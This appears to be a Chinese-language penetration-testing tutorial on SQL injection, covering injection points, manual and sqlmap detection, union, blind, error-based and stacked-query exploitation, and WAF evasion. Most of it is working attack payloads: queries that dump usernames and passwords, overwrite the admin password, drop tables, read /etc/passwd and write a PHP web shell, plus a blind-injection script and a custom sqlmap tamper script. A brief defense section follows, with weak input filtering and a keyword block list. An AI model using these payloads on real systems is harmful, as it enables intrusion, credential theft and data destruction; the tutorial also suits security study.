SQL注入

1. SQL注入漏洞分类与原理

1.1 按注入位置分类

1.1.1 GET参数注入
复制代码
-- 示例URL
http://test.com/news.php?id=1' AND 1=1--
1.1.2 POST参数注入
vb 复制代码
`POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin'--&password=123`
1.1.3 Cookie注入
复制代码
GET /index.php HTTP/1.1
Cookie: user_id=1' UNION SELECT 1,2,3--
1.1.4 HTTP头注入
复制代码
GET / HTTP/1.1
Host: test.com
User-Agent: ' OR 1=1--
X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--

1.2 按数据库类型分类

|------------|------------------------|-------------------------------------|
| 数据库类型 | 特征 | 常见函数 |
| MySQL | 注释符:-- , #, /**/ | version(), user(), database() |
| PostgreSQL | 注释符:--, /**/ | version(), current_user |
| SQL Server | 注释符:--, /**/ | @@version, user_name() |
| Oracle | 注释符:--, /**/ | banner, user |

2. SQL注入挖掘方法

2.1 手动检测流程

2.1.1 初步探测
复制代码
-- 单引号测试
?id=1'
?id=1"

-- 逻辑测试
?id=1 AND 1=1
?id=1 AND 1=2

-- 算术运算测试
?id=2-1
?id=1+1
2.1.2 注释符测试
复制代码
-- MySQL
?id=1' -- 
?id=1' #
?id=1' /*注释*/

-- 其他数据库
?id=1' -- 
?id=1' /**/

2.2 自动化工具挖掘

https://www.cnblogs.com/bmjoker/p/9326258.html

2.2.1 SQLmap基础使用
复制代码
# 基本检测
sqlmap -u "http://test.com/news.php?id=1"

# 指定参数
sqlmap -u "http://test.com/news.php" --data="id=1&name=admin"

# Cookie注入
sqlmap -u "http://test.com/news.php" --cookie="id=1" --level=2

# 批量检测
sqlmap -m urls.txt
2.2.2 高级参数
复制代码
# 指定数据库类型
sqlmap -u "http://test.com/news.php?id=1" --dbms=mysql

# 指定注入技术
sqlmap -u "http://test.com/news.php?id=1" --technique=BEUST

# 风险等级和测试级别
sqlmap -u "http://test.com/news.php?id=1" --risk=3 --level=5

3. 各类SQL注入利用详解

3.1 联合查询注入(Union-Based)

3.1.1 利用条件
  • 页面有回显位置
  • 能够使用UNION语句
  • 知道列数
3.1.2 探测列数
复制代码
-- 方法1:ORDER BY
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3--  -- 直到报错

-- 方法2:UNION SELECT
?id=1' UNION SELECT 1--
?id=1' UNION SELECT 1,2--
?id=1' UNION SELECT 1,2,3--  -- 直到不报错
3.1.3 完整利用Payload
复制代码
-- 获取数据库版本和用户
?id=1' UNION SELECT 1,version(),user(),4--

-- 获取所有数据库名(MySQL)
?id=1' UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata--

-- 获取表名
?id=1' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--

-- 获取字段名
?id=1' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'--

-- 获取数据
?id=1' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users--

3.2 布尔盲注(Boolean-Based Blind)

3.2.1 利用条件
  • 页面无直接回显但会根据SQL结果变化
  • 存在True/False两种不同页面状态
3.2.2 探测技巧
复制代码
-- 判断数据库长度
?id=1' AND length(database())=1--
?id=1' AND length(database())=2--

-- 逐字符猜解数据库名
?id=1' AND substr(database(),1,1)='a'--
?id=1' AND ascii(substr(database(),1,1))=97--

-- 判断表是否存在
?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name='users')=1--
3.2.3 自动化脚本示例
复制代码
import requests
import string

def boolean_blind_injection(url):
    chars = string.ascii_lowercase + string.digits + '_-'
    result = ""
    
    for position in range(1, 50):
        found_char = False
        for char in chars:
            payload = f"' AND substr(database(),{position},1)='{char}'-- "
            full_url = f"{url}{payload}"
            response = requests.get(full_url)
            
            if "exists" in response.text:  # 根据页面特征判断
                result += char
                found_char = True
                print(f"Found: {result}")
                break
        
        if not found_char:
            break
    
    return result

3.3 时间盲注(Time-Based Blind)

3.3.1 利用条件
  • 页面无任何回显差异
  • 数据库支持时间延迟函数
3.3.2 各数据库延迟函数
复制代码
-- MySQL
?id=1' AND SLEEP(5)--
?id=1' AND IF(1=1,SLEEP(5),0)--

-- PostgreSQL
?id=1' AND PG_SLEEP(5)--

-- SQL Server
?id=1' AND WAITFOR DELAY '0:0:5'--

-- Oracle
?id=1' AND (SELECT COUNT(*) FROM ALL_USERS WHERE username='SYS' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5))=1--
3.3.3 完整利用Payload
复制代码
-- 判断数据库长度
?id=1' AND IF(length(database())=4,SLEEP(5),0)--

-- 逐字符猜解
?id=1' AND IF(ascii(substr(database(),1,1))=109,SLEEP(5),0)--

-- 判断表数量
?id=1' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=5,SLEEP(5),0)--

3.4 报错注入(Error-Based)

https://www.jianshu.com/p/bc35f8dd4f7c

3.4.1 利用条件
  • 页面显示数据库错误信息
  • 数据库支持报错函数
3.4.2 MySQL报错Payload
复制代码
-- extractvalue报错
?id=1' AND extractvalue(1,concat(0x7e,version(),0x7e))--

-- updatexml报错  
?id=1' AND updatexml(1,concat(0x7e,user(),0x7e),1)--

-- floor报错
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
3.4.3 其他数据库报错
复制代码
-- PostgreSQL
?id=1' AND CAST(version() AS INTEGER)--

-- SQL Server
?id=1' AND (SELECT @@version WHERE 1=CONVERT(int,@@version))--

3.5 堆叠查询(Stacked Queries)

3.5.1 利用条件
  • 支持多语句执行
  • 通常存在于PHP的mysqli_multi_query()等函数
3.5.2 利用Payload
复制代码
-- 增删改查操作
?id=1'; INSERT INTO users(username,password) VALUES ('hacker','pwd')--

?id=1'; UPDATE users SET password='hacked' WHERE username='admin'--

?id=1'; DROP TABLE users--

-- 文件操作(MySQL)
?id=1'; SELECT load_file('/etc/passwd')--
?id=1'; SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'--

4. WAF绕过技术详解

4.1 编码绕过技术

4.1.1 URL编码绕过
复制代码
-- 单重URL编码
%27%20%4f%52%20%31%3d%31%20%2d%2d%20
-- 解码后:' OR 1=1 -- 

-- 双重URL编码
%2527%2520%2541%254e%2544%2520%2531%253d%2531%2520%252d%252d%2520
-- 解码后:' AND 1=1 -- 

-- 非标准编码
' -> %u0027, %u02b9, %u02bc
4.1.2 Hex编码绕过
复制代码
-- MySQL Hex编码
0x2720414e4420313d312d2d20  -- ' AND 1=1-- 
SELECT 0x7573657228 -- 代替 user()

-- 字符与Hex混合
SELECx54 0x75736572 -- SELECT user
4.1.3 Base64编码绕过
复制代码
-- 在应用程序解码后执行
YW5kIDE9MS0tIA==  -- and 1=1--

4.2 注释符绕过技术

4.2.1 多种注释符混合
复制代码
-- MySQL注释
/*!SELECT*/ version() /*!FROM*/ dual
/*!50001 SELECT*/ 1
/*!sql*/select/*!sql*/ 1

-- 内联注释
SEL/**/ECT VER/**/SION()
4.2.2 空白符替代
复制代码
-- 各种空白符
%09 %0a %0b %0c %0d %a0 %20
SELECT%0bversion()
SEL%0aECT%0cver%0dsion()

4.3 关键字拆分与混淆

4.3.1 大小写混合
复制代码
SeLeCt VeRsIoN()
sEleCt vErSiOn()
4.3.2 双写关键字
复制代码
SELSELECTECT VERSION()
UNIUNIONON SELSELECTECT 1,2,3
4.3.3 符号插入
复制代码
S%E%L%E%C%T version()
S+E+L+E+C+T version()
S<E>L<E>C<T> version()

4.4 等价函数替换

4.4.1 空格替代方案
复制代码
-- 代替空格
SELECT/**/version()
SELECT%0bversion()
SELECT/*comment*/version()

-- 使用括号
SELECT(version())
4.4.2 逗号替代方案
复制代码
-- 使用JOIN代替逗号
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

-- 使用FROM和OFFSET
SELECT substr(database() FROM 1 FOR 1)
SELECT * FROM users LIMIT 1 OFFSET 0
4.4.3 比较运算符替代
复制代码
-- 代替 =
username LIKE 'admin'
username REGEXP '^admin$'
username BETWEEN 'admin' AND 'admin'

-- 代替 AND/OR
username = 'admin' && password = 'pass'
username = 'admin' || 1=1

4.5 高级WAF绕过技术

4.5.1 HTTP参数污染
复制代码
GET /test.php?id=1&id=2' UNION SELECT 1,2,3-- 
POST /login.php
username=admin&username=' OR 1=1-- 
4.5.2 分块传输编码
复制代码
POST /test.php HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

1f
id=1' AND 1=1 UNION SELECT 
1
-
0
4.5.3 畸形HTTP请求
复制代码
-- 方法覆盖
GET /test.php?id=1' UNION SELECT 1,2,3-- HTTP/1.1
X-HTTP-Method-Override: POST

-- 协议版本
GET /test.php?id=1' UNION SELECT 1,2,3-- HTTP/0.9

4.6 数据库特定绕过

4.6.1 MySQL绕过技巧
复制代码
-- 使用变量
SELECT @a:=(SELECT version())--

-- 使用反引号
SELECT `version`()--
SELECT version/*!()*/--

-- 使用花括号
{`version`()}
4.6.2 PostgreSQL绕过
复制代码
-- 使用类型转换
SELECT version()::text
SELECT CAST(version() AS text)

-- 使用美元符号引用
SELECT $tag$version()$tag$
4.6.3 SQL Server绕过
复制代码
-- 使用括号
(SELECT (version()))
-- 使用EXEC
EXEC('SELECT @@version')

4.7 实战WAF绕过Payload

4.7.1 联合查询绕过
复制代码
-- 原始Payload
' UNION SELECT 1,2,3--

-- 绕过Payload
'/*!UnIoN*/ SeLeCt+1,2,3--+
'%0aUnIoN%0aSeLeCt%0a1,2,3%23
' uniunionon selselectect 1,2,3--
4.7.2 报错注入绕过
复制代码
-- 原始Payload
' AND extractvalue(1,concat(0x7e,version()))--

-- 绕过Payload
'/*!aNd*//*!ExTrAcTVaLuE*/(1,CoNcAt(0x7e,VeRsIoN()))--
'%0aAND%0aupdatexml(1,concat(0x7e,(/*!SELECT%0adatabase()*/)),1)--+
4.7.3 时间盲注绕过
复制代码
-- 原始Payload
' AND SLEEP(5)--

-- 绕过Payload
'/*!50000aNd*//*!50000SlEeP*/(5)--
' AND benchmark(1000000,md5('test'))--
'%0aAND%0a(SeLeCt%0a*%0aFrOm%0a(SeLeCt(SlEeP(5)))a)--

5. 自动化工具WAF绕过

sqlmap之tamper绕过-CSDN博客

5.1 SQLmap高级参数

复制代码
# 随机User-Agent
sqlmap -u "http://test.com/news.php?id=1" --random-agent

# 使用代理池
sqlmap -u "http://test.com/news.php?id=1" --proxy="http://proxy.txt"

# 延迟和超时
sqlmap -u "http://test.com/news.php?id=1" --delay=2 --timeout=15

# 级别和风险
sqlmap -u "http://test.com/news.php?id=1" --level=5 --risk=3

# 指定绕过脚本
sqlmap -u "http://test.com/news.php?id=1" --tamper=space2comment,charencode

# 常用tamper脚本
--tamper=between,randomcase,space2comment
--tamper=space2mysqlblank,space2plus
--tamper=equaltolike,greatest

5.2 自定义绕过脚本

复制代码
# 自定义tamper脚本示例
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    自定义绕过WAF的tamper脚本
    """
    if payload:
        payload = payload.replace("UNION", "/*!50000UNION*/")
        payload = payload.replace("SELECT", "/*!50000SELECT*/")
        payload = payload.replace(" ", "/**/")
        payload = payload.replace("=", " LIKE ")
        payload = payload.replace("AND", "/*!50000AND*/")
        payload = payload.replace("OR", "/*!50000OR*/")
    return payload

6. 漏洞验证与防御

6.1 漏洞验证方法

复制代码
def verify_sql_injection(url, param):
    """
    SQL注入漏洞验证函数
    """
    test_payloads = [
        "'",
        "''",
        "`",
        "\"",
        "\\",
        "' AND '1'='1",
        "' AND '1'='2", 
        "' OR '1'='1",
        "' OR '1'='2"
    ]
    
    for payload in test_payloads:
        test_url = f"{url}?{param}={payload}"
        response = requests.get(test_url)
        
        # 检测错误信息
        error_indicators = [
            "mysql_fetch_array",
            "Microsoft OLE DB Provider",
            "ODBC Driver",
            "PostgreSQL",
            "SQLite",
            "Warning",
            "Syntax error"
        ]
        
        for error in error_indicators:
            if error in response.text:
                return True, payload
                
    return False, None

6.2 防御措施

复制代码
<?php
// 预处理语句防御
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND username = ?");
$stmt->execute([$id, $username]);

// 输入过滤
function sanitize_input($input) {
    $input = trim($input);
    $input = stripslashes($input);
    $input = htmlspecialchars($input);
    return $input;
}

// 使用白名单验证
function is_valid_id($id) {
    return is_numeric($id) && $id > 0;
}

// WAF规则示例
if (preg_match('/(union|select|insert|update|delete|drop|create|exec)/i', $input)) {
    die("Invalid input detected");
}
?>
相关推荐
QUST-Learn3D11 小时前
geometry4Sharp Ray-Mesh求交 判断点是否在几何体内部
服务器·前端·数据库
运维行者_11 小时前
跨境企业 OPM:多币种订单与物流同步管理,依靠网络自动化与 snmp 软件
大数据·运维·网络·数据库·postgresql·跨境企业
gf132111111 小时前
制作卡点视频
数据库·python·音视频
华普微HOPERF11 小时前
数字隔离器,复杂环境下的电气安全“防火墙”
安全
子超兄11 小时前
慢查询处理SOP
数据库
TDengine (老段)11 小时前
TDengine C/C++ 连接器入门指南
大数据·c语言·数据库·c++·物联网·时序数据库·tdengine
地球资源数据云11 小时前
2019-2024年中国逐年10米分辨率最大值合成NDVI数据集
大数据·运维·服务器·数据库·均值算法
自燃人~11 小时前
怎么优化慢SQL
数据库·sql
zhengfei61111 小时前
AI渗透工具——AI驱动的BAS网络安全平台
人工智能·安全·web安全
爱学java的ptt11 小时前
mysql的存储引擎
数据库·mysql